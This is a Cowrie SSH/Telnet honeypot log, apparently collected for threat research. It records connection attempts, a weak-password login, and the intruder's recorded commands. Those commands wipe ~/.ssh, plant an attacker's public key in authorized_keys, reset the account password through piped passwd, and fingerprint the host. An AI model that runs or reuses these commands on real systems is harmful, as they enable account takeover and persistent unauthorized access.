{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60882,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69798878964","protocol":"telnet","message":"New connection: 104.245.105.2:60882 (10.17.0.5:23) [session: e69798878964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:57.100908Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":53758,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae72f8a8f1f2","protocol":"ssh","message":"New connection: 103.149.252.223:53758 (10.17.0.5:22) [session: ae72f8a8f1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:03.749517Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:03.758402Z","src_ip":"103.149.252.223","session":"ae72f8a8f1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:03.762801Z","src_ip":"103.149.252.223","session":"ae72f8a8f1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":34010,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d7ea26dfdc6","protocol":"ssh","message":"New connection: 124.18.182.99:34010 (10.17.0.5:22) [session: 7d7ea26dfdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:09.307177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:09.312475Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:09.489893Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2012","message":"login attempt [admin/admin2012] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:10.226844Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:10.624993Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:10.628569Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:10.632613Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:10.813275Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:11.203722Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:11.207232Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:11.389370Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:11.393926Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":46898,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1dd71700e84","protocol":"ssh","message":"New connection: 124.18.182.99:46898 (10.17.0.5:22) [session: d1dd71700e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:11.556797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:11.561675Z","src_ip":"124.18.182.99","session":"d1dd71700e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:11.734469Z","src_ip":"124.18.182.99","session":"d1dd71700e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:12.457098Z","src_ip":"124.18.182.99","session":"d1dd71700e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:13.633326Z","src_ip":"124.18.182.99","session":"d1dd71700e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":46908,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8924e8187be","protocol":"ssh","message":"New connection: 124.18.182.99:46908 (10.17.0.5:22) [session: b8924e8187be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:13.810741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:13.819931Z","src_ip":"124.18.182.99","session":"b8924e8187be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:13.996855Z","src_ip":"124.18.182.99","session":"b8924e8187be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:14.737468Z","src_ip":"124.18.182.99","session":"b8924e8187be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:15.917197Z","src_ip":"124.18.182.99","session":"b8924e8187be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.141212Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.144911Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.326433Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.717852Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2012\\nZJ6QwWfuzP4N\\nZJ6QwWfuzP4N\"|passwd|bash","message":"CMD: echo -e \"admin2012\\nZJ6QwWfuzP4N\\nZJ6QwWfuzP4N\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.721751Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.726045Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.729770Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cd593f89d51e0a513676393ddf1567e9c854aa1cf39c6bdfac66fb4b56061a0e","size":32,"shasum":"cd593f89d51e0a513676393ddf1567e9c854aa1cf39c6bdfac66fb4b56061a0e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cd593f89d51e0a513676393ddf1567e9c854aa1cf39c6bdfac66fb4b56061a0e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:16.910244Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:17.311795Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2012\\nZJ6QwWfuzP4N\\nZJ6QwWfuzP4N\\n\"|passwd","message":"CMD: echo \"admin2012\\nZJ6QwWfuzP4N\\nZJ6QwWfuzP4N\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:17.315588Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b0d3d70975d59e4f99b498e8c2bd6093020a648c42ee6763e8b100080096368b","size":25,"shasum":"b0d3d70975d59e4f99b498e8c2bd6093020a648c42ee6763e8b100080096368b","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b0d3d70975d59e4f99b498e8c2bd6093020a648c42ee6763e8b100080096368b after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:17.495815Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:17.937240Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:17.941102Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:18.121685Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:18.521417Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:18.525346Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:18.709096Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:19.109256Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:19.113429Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:19.117884Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:19.301435Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:19.702291Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:19.706585Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:19.886983Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:20.279211Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:20.282901Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:20.461604Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:20.885553Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
